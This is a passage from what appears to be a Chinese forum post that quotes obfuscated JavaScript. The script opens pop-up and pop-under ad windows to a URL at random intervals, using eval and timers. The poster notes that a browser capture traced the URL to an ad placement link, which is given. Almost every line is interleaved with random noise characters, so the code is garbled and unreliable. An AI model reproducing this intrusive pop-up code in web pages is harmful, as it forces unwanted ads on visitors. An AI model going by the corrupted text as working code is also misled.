- b: 2 8 j; x. a. @" u
- })
' F, ?0 y# p% b, _$ B: F9 p - },
0 p; z. Q8 B5 u- o9 n/ V - 300) ( `* n2 A: p% p( B2 V# _ _$ L
- } ! G) E7 a" n; k+ F8 I
- for (var i = 1; i <= 10; i++) { % |% G! |: T4 W
- var n = i == 1 ? "": i;
( `9 S, a% t' N, B( @7 P1 _6 V$ u - if (eval("_pt" + n + "b") > Math.random()) { + _" \( Z# b8 ?' a9 Y8 t
- setTimeout(function() {
; C: i- d) B/ k- I6 Q ? - setTimeout(function() { / J7 y0 L3 W2 l% c% i
- pop(url, {
. I' `% X4 R; j. y, b - a: 1, * O5 d1 d0 L+ A0 |4 E& w/ e* }
- b: 2
2 H4 g+ d: m8 p' M! w - })
) r8 }( \' T6 r- z% ^+ k* L, g - }, 4 A# @7 l$ b: B; s
- 300) 8 k o- ]/ ~7 K% {1 k( n
- }, 6 N9 q6 F* T# S* Y7 v3 g3 o- o
- parseInt(eval("_pt" + n + "a")) * 1000)
, y# v; j, _' o) G! ^. g4 C - }
! o; _) Y% ~! p [! }1 s! t% v; X - }
* e6 \& ]& ~. A$ [' @ - if (_pc2 > Math.random()) {
* e6 l5 g/ I/ R: E2 [7 B3 b - a_pop(url) / c f' O" G) X+ p$ G. k$ B7 j/ @
- } ! Z2 v' _- T" L% Z: U6 e
- if (_po > Math.random()) {
, Q+ d( n6 B5 m9 J% |$ t3 f/ g - try { ) E. X- N5 C3 i* s1 k; ?
- func(url) * H7 J& Z c" Q D$ W3 _$ A, N
- } catch(q) {}
: I3 b7 u9 b: W2 v& e - } 5 r4 Y2 C: X' D
- }
% P& B% O) w! w5 D6 ^2 ?& R - };
! c. {% `/ n+ T - fstart(aa_url); * m# ~$ c6 F' y1 _* S
- event(window, 'beforeunload',
4 W/ O) W5 ~2 K4 i) @! k- v$ t' W - function() {}) 8 h5 m+ U# `; J0 Y5 C! F
- })();
复制代码 通过浏览器抓包2 T+ Q1 L$ F+ p# B& P
URL从这里产生
* d# r4 X. p7 {( c0 O9 G9 P9 U
. G |" z8 x4 a* q$ Whttp://play.unionsky.cn/show/?placeid=141830
7 O( j- f' `' a! @4 {- y- Z, E" m( w& W- l2 ]) m
& t$ P- e r/ [; U1 D% K
|